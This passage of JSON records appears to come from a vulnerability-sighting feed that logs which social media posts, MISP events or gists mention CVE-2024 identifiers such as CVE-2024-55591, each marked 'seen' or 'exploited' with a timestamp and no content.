"e0f6cd04-8daf-468d-9d9e-fb1c5e659135", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55948", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113947671170575758", "content": "", "creation_timestamp": "2025-02-04T21:11:19.012026Z"}, {"uuid": "faf79ecb-3ed9-43a4-b643-9b1d01c10def", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/113902167310906026", "content": "", "creation_timestamp": "2025-01-27T20:19:05.974565Z"}, {"uuid": "53d303fa-a9d4-43c5-9ae4-8c795b1140b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/darkwebinformer.bsky.social/post/3lgqr6xbgsc27", "content": "", "creation_timestamp": "2025-01-27T20:19:10.960885Z"}, {"uuid": "5788196b-5d14-4ac9-8177-49b9d4bff9b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/ehcgroup.bsky.social/post/3lgte3zueys2a", "content": "", "creation_timestamp": "2025-01-28T21:02:52.944069Z"}, {"uuid": "4b8d09de-747e-4748-b7fc-7520ba318b16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55948", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhey44ijbq27", "content": "", "creation_timestamp": "2025-02-04T21:16:03.605657Z"}, {"uuid": "e3d37364-36bc-43f9-96cb-7f209ba63325", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55931", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113900108191555042", "content": "", "creation_timestamp": "2025-01-27T11:35:25.560179Z"}, {"uuid": "6075d98d-1449-4a29-bb10-a4c491787427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://mastodon.social/users/verbrecher/statuses/113908117096718221", "content": "", "creation_timestamp": "2025-01-28T21:32:13.141273Z"}, {"uuid": "43258d1f-eeae-4470-81df-c410ae60c9cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55931", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgpw6vptnv2b", "content": "", "creation_timestamp": "2025-01-27T12:15:55.394256Z"}, {"uuid": "988d5e65-d191-4944-9e10-397f3e2e92ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55968", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113908135045749117", "content": "", "creation_timestamp": "2025-01-28T21:36:45.663342Z"}, {"uuid": "20edfc6e-b34d-46b4-b7e7-6ade5d093596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55968", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgti67rt542e", "content": "", "creation_timestamp": "2025-01-28T22:15:38.631709Z"}, {"uuid": "81731076-dc2f-4501-9821-383e53b1ba46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55971", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113878382120962576", "content": "", "creation_timestamp": "2025-01-23T15:30:12.524504Z"}, {"uuid": "a115857f-fca2-4e02-9656-dbb4f481ffb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55971", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113878400757760231", "content": "", "creation_timestamp": "2025-01-23T15:34:56.510919Z"}, {"uuid": "a0a0069c-0cae-4f37-a112-7384cb0c66e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55948", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhf3uwkmww2f", "content": "", "creation_timestamp": "2025-02-04T22:23:43.215058Z"}, {"uuid": "2093a37d-f232-4b47-bb33-f0c6749b0a13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55968", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgtl72p3662u", "content": "", "creation_timestamp": "2025-01-28T23:09:51.828680Z"}, {"uuid": "eb39ee70-7e0d-4096-84a9-a41eb0c11cc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55417", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lh4wqavyi32l", "content": "", "creation_timestamp": "2025-02-01T16:30:14.728546Z"}, {"uuid": "f2136dff-b007-4487-9d2b-077c26c789fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55948", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113948054191918592", "content": "", "creation_timestamp": "2025-02-04T22:48:43.730472Z"}, {"uuid": "dfd426a5-43b2-41f6-80f0-3ee409285037", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55971", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggbqlcvgi2r", "content": "", "creation_timestamp": "2025-01-23T16:16:02.510837Z"}, {"uuid": "8b43b415-b34f-4d74-a60e-4ef8aa70c5ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113912632267283246", "content": "", "creation_timestamp": "2025-01-29T16:40:28.477843Z"}, {"uuid": "24940d43-af27-4d66-9f20-fd0d00e0c015", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgyf6iubvs25", "content": "", "creation_timestamp": "2025-01-30T21:05:26.032680Z"}, {"uuid": "43b04752-c8db-499c-a8a4-f1cf02cf95d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/113905636502167055", "content": "", "creation_timestamp": "2025-01-28T11:01:22.742520Z"}, {"uuid": "c279b9b0-56f0-4073-90bd-539fd1c1893a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55931", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgq73kvbgo2r", "content": "", "creation_timestamp": "2025-01-27T14:55:10.867444Z"}, {"uuid": "370dd411-ab8e-4949-b463-b749060cbbce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-a092c8af-59609e899446f907", "content": "", "creation_timestamp": "2025-01-30T07:50:11.558966Z"}, {"uuid": "14ac28cf-c8d7-4915-a30e-21ad3d39bc12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55968", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113912662928597537", "content": "", "creation_timestamp": "2025-01-29T16:48:26.708382Z"}, {"uuid": "881f95aa-4985-4bbb-b0e6-fc3faa77419a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55925", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113878776319408571", "content": "", "creation_timestamp": "2025-01-23T17:10:27.025360Z"}, {"uuid": "3960b8fb-c88b-4dd6-af17-32dd2351629d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55591", "type": "seen", "source": "https://mastodon.social/users/verbrecher/statuses/113906207813054710", "content": "", "creation_timestamp": "2025-01-28T13:26:39.546279Z"}, {"uuid": "259688e6-8fa8-4e99-9c4a-a80db0a20412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55925", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggf3okzl22j", "content": "", "creation_timestamp": "2025-01-23T17:15:56.426436Z"}, {"uuid": "03549509-b759-45b6-9a3a-af16ce886f2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55926", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113878811868675397", "content": "", "creation_timestamp": "2025-01-23T17:19:29.413270Z"}, {"uuid": "fb98a2a1-2b10-4626-af55-5e7c0c7e5fd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55927", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113878851747424255", "content": "", "creation_timestamp": "2025-01-23T17:29:37.931513Z"}, {"uuid": "216585a8-33ed-4aeb-8f2e-dd1163bfb34e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55928", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113878851762684866", "content": "", "creation_timestamp": "2025-01-23T17:29:38.274278Z"}, {"uuid": "1b58cf79-98f4-4fdb-85b5-6b961ba66ccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55929", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113878878534131537", "content": "", "creation_timestamp": "2025-01-23T17:36:26.734364Z"}, {"uuid": "83882330-37f1-4c93-948a-56a088b07127", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55925", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgggguy63g2k", "content": "", "creation_timestamp": "2025-01-23T17:40:06.761687Z"}, {"uuid": "f3020b94-b801-42cc-a6d5-984b4a7645eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "145dfcfa-484e-4d49-87ea-a8a083a19a4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55957", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lhkwjyfmx22j", "content": "", "creation_timestamp": "2025-02-07T06:04:00.409651Z"}, {"uuid": "b6381b87-6f8c-4ea3-973a-b664f7e27998", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55930", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113878900929201911", "content": "", "creation_timestamp": "2025-01-23T17:42:08.400101Z"}, {"uuid": "e5a44a12-5a6d-4638-af63-c5382f81c820", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lgu3zuu3m22i", "content": "", "creation_timestamp": "2025-01-29T04:11:08.255481Z"}, {"uuid": "dd5e0462-e694-4db0-afc5-e35933b1e733", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-5559", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lgubgdeq2c2n", "content": "", "creation_timestamp": "2025-01-29T05:47:34.751508Z"}, {"uuid": "bde0abb3-f42b-4146-bd77-f4b1de415ca7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55926", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggigvkqff2t", "content": "", "creation_timestamp": "2025-01-23T18:15:53.325252Z"}, {"uuid": "6ab762f7-5eb0-437c-b70f-d1f248c80f8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55928", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggih27fiu2b", "content": "", "creation_timestamp": "2025-01-23T18:15:58.226063Z"}, {"uuid": "2063d16c-4543-4c42-8d56-0ee30cc6702a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55927", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggigxwf752t", "content": "", "creation_timestamp": "2025-01-23T18:15:55.776119Z"}, {"uuid": "8c81d7c1-b33c-407e-bd17-6cf3e0abf72c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55929", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggih4k4de2h", "content": "", "creation_timestamp": "2025-01-23T18:16:00.605332Z"}, {"uuid": "afcd888f-f0b7-416c-8bdd-5af3a3bba7f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55227", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113901292421021624", "content": "", "creation_timestamp": "2025-01-27T16:36:35.538554Z"}, {"uuid": "8b2027d0-8175-458f-a41f-a6dfa0f8235d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55930", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggih7anuw2f", "content": "", "creation_timestamp": "2025-01-23T18:16:03.446358Z"}, {"uuid": "94a296a9-38fd-4d8b-b7a3-3a0d83a09b39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55228", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113901292435622561", "content": "", "creation_timestamp": "2025-01-27T16:36:35.832985Z"}, {"uuid": "d4e2d299-24c3-43f6-a6c8-008b222fc586", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55415", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lgvpqxvhdr2y", "content": "", "creation_timestamp": "2025-01-29T19:36:43.523247Z"}, {"uuid": "7e870716-2b2a-4d49-954f-19e4e451da78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55928", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lggjsatalo2k", "content": "", "creation_timestamp": "2025-01-23T18:40:08.453544Z"}, {"uuid": "72711515-ecbb-441e-83a9-0e140c29f77a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55929", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lggjsaxl3a2e", "content": "", "creation_timestamp": "2025-01-23T18:40:09.115374Z"}, {"uuid": "4851fff8-6fe9-4052-bc31-496c19a4bc0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55926", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lggjsb2z5v2r", "content": "", "creation_timestamp": "2025-01-23T18:40:09.756228Z"}, {"uuid": "d67eec59-f8e4-44bd-b92f-1cb1e6fd1d93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55930", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lggjsbbn2i2g", "content": "", "creation_timestamp": "2025-01-23T18:40:10.918505Z"}, {"uuid": "8e22c7e7-fefc-4ccf-9923-85bb40f3d0e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55927", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lggjsbnamo2k", "content": "", "creation_timestamp": "2025-01-23T18:40:12.821065Z"}, {"uuid": "3cc338e8-cb50-4571-8490-91f8bf67977e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/decrypt.lol/post/3lgrbnznfsc23", "content": "", "creation_timestamp": "2025-01-28T01:13:54.302923Z"}, {"uuid": "8a952d1d-856d-49a3-8151-3c93ff3775b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55591", "type": "seen", "source": "https://chaos.social/users/christopherkunz/statuses/113913534935679492", "content": "", "creation_timestamp": "2025-01-29T20:30:01.896864Z"}, {"uuid": "346fcb2e-70ed-4028-a280-c6a954f179ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lgsulbxvnq2j", "content": "", "creation_timestamp": "2025-01-28T16:25:03.089525Z"}, {"uuid": "32957e73-0bc1-41f5-b392-1dcfa0777db8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55062", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh2zkr67mo2w", "content": "", "creation_timestamp": "2025-01-31T22:15:31.458378Z"}, {"uuid": "657773f2-9507-4000-8fc4-4a02e290d797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55456", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhc2cdvzsj2h", "content": "", "creation_timestamp": "2025-02-03T17:17:20.981813Z"}, {"uuid": "0f7eac50-52a9-444c-a680-c4ea4e0dbd55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55968", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lgvujjzk6f2o", "content": "", "creation_timestamp": "2025-01-29T21:02:05.514729Z"}, {"uuid": "616bfd75-459b-4386-877f-975710e4e1d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55227", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgqgxluvrn2f", "content": "", "creation_timestamp": "2025-01-27T17:16:03.470891Z"}, {"uuid": "6589f66a-f0e7-4d77-b6f5-7e09d5ed27e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55228", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgqgxoi3yq2j", "content": "", "creation_timestamp": "2025-01-27T17:16:06.176859Z"}, {"uuid": "0cb5a30c-985d-4587-b289-fc00dce70bc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55062", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh3eqs22332u", "content": "", "creation_timestamp": "2025-02-01T01:35:48.182040Z"}, {"uuid": "6134307a-ec8a-4591-b019-b5145c07156e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/auditum.fr/post/3lgqiascdk32d", "content": "", "creation_timestamp": "2025-01-27T17:39:06.551455Z"}, {"uuid": "c7591a20-cd38-4c54-8865-4475c3620f5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55213", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113963289924752127", "content": "", "creation_timestamp": "2025-02-07T15:23:22.322134Z"}, {"uuid": "e908ed35-fa45-4082-8eca-36523d8d60fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55192", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113879933934042733", "content": "", "creation_timestamp": "2025-01-23T22:04:50.943872Z"}, {"uuid": "577073e9-1a3f-4e44-b4a3-59c7353f7672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55193", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113879933948800600", "content": "", "creation_timestamp": "2025-01-23T22:04:51.450966Z"}, {"uuid": "8d6d7b86-65c3-4979-87c1-a8a7d34d2c76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lgt3xglnxk27", "content": "", "creation_timestamp": "2025-01-28T18:37:06.240997Z"}, {"uuid": "4484160d-3cd7-43b1-af09-c6717656930d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55227", "type": "exploited", "source": "https://gist.github.com/Dqtdqt/9762466cd6ec541ea265ba33b09489ff", "content": "", "creation_timestamp": "2025-01-25T03:51:47.000000Z"}, {"uuid": "7501c949-6dc5-4516-98a7-7908f40b98e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3lgdgxmipls2t", "content": "", "creation_timestamp": "2025-01-22T13:11:29.742188Z"}, {"uuid": "d1b9c727-746d-4b8a-a842-5220ca05e136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55228", "type": "exploited", "source": "https://gist.github.com/Dqtdqt/a942bbce9a5fc851dce366902411c768", "content": "", "creation_timestamp": "2025-01-25T04:09:52.000000Z"}, {"uuid": "1027493f-047b-4245-b978-721e4731551b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55192", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggvtzyicx2x", "content": "", "creation_timestamp": "2025-01-23T22:15:52.755816Z"}, {"uuid": "e30a58df-eede-42dd-91c7-2be721c00cbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55193", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggvu4bcxi2f", "content": "", "creation_timestamp": "2025-01-23T22:15:55.171683Z"}, {"uuid": "b43565de-7787-405d-9dfd-181f709c1046", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55488", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgdrc2frca2f", "content": "", "creation_timestamp": "2025-01-22T16:16:15.021528Z"}, {"uuid": "40eb8210-f362-4ee5-9694-db891c3ba9f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55488", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgdsv575q22g", "content": "", "creation_timestamp": "2025-01-22T16:44:51.196704Z"}, {"uuid": "be36c0c2-527b-453b-aa39-0a651a3bba47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55957", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgdxxt2qyq2h", "content": "", "creation_timestamp": "2025-01-22T18:15:48.331434Z"}, {"uuid": "039e2389-c8da-468d-99c5-5af89c149d3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55957", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lge5j62ojk2i", "content": "", "creation_timestamp": "2025-01-22T19:54:59.592593Z"}, {"uuid": "6ae8dce6-bbb2-4c7d-9bce-acfd1024504d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55194", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggvu6ktc52j", "content": "", "creation_timestamp": "2025-01-23T22:15:57.689319Z"}, {"uuid": "f6c0fe6e-2199-4105-aa06-911ad6cc8b28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55195", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggvuatnxf2t", "content": "", "creation_timestamp": "2025-01-23T22:16:00.080825Z"}, {"uuid": "21941265-21a3-4e7b-9ff1-5b2691ce4e25", "vulnerability_lookup_origin": 